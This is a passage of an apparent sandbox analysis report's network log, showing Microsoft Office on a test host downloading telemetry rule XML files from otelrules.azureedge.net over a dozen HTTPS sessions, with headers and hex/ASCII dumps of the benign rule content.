</RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:13 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:13 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: d9046763-101e-00a2-1bd5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133313Z-174f7845968cpnpfhC1EWR3afc00000004r0000000002crk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:13 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:13 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:13 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: e1eaf116-901e-005b-52d5-332005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133313Z-174f7845968px8v7hC1EWR08ng000000055000000000eqr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:13 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:14 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 072c0cc7-901e-00ac-57d5-33b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133314Z-174f7845968nxc96hC1EWRspw800000004ug0000000033p6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:14 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 9a2bee4b-a01e-0053-62d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133314Z-174f7845968jrjrxhC1EWRmmrs000000051g00000000dn44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:14 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: bd8c52a0-d01e-0014-7ad5-33ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133314Z-174f7845968jrjrxhC1EWRmmrs000000054000000000a6qw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:14 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 54bb2358-d01e-0066-7cd5-33ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133314Z-174f7845968pf68xhC1EWRr4h8000000054000000000eg3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:14 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 7cd1200c-e01e-0052-1ad5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133314Z-174f78459684bddphC1EWRbht400000004sg0000000075fe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:14 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: c8cfe486-b01e-0053-1fd5-33cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133314Z-174f7845968glpgnhC1EWR7uec000000057g0000000037gq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:14 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 1958b31d-101e-0046-24d5-3391b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133314Z-174f7845968psccphC1EWRuz9s0000000580000000008h27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:14 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1973c9cd-501e-0047-1dd5-33ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133315Z-174f7845968pf68xhC1EWRr4h800000005ag000000003vp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:14 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 8e1de54d-801e-007b-48d5-33e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133315Z-174f7845968px8v7hC1EWR08ng000000054000000000fzmv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:15 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:15 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: aedf2b6e-c01e-0046-18d5-332db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133315Z-174f78459685726chC1EWRsnbg00000004zg00000000ds3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
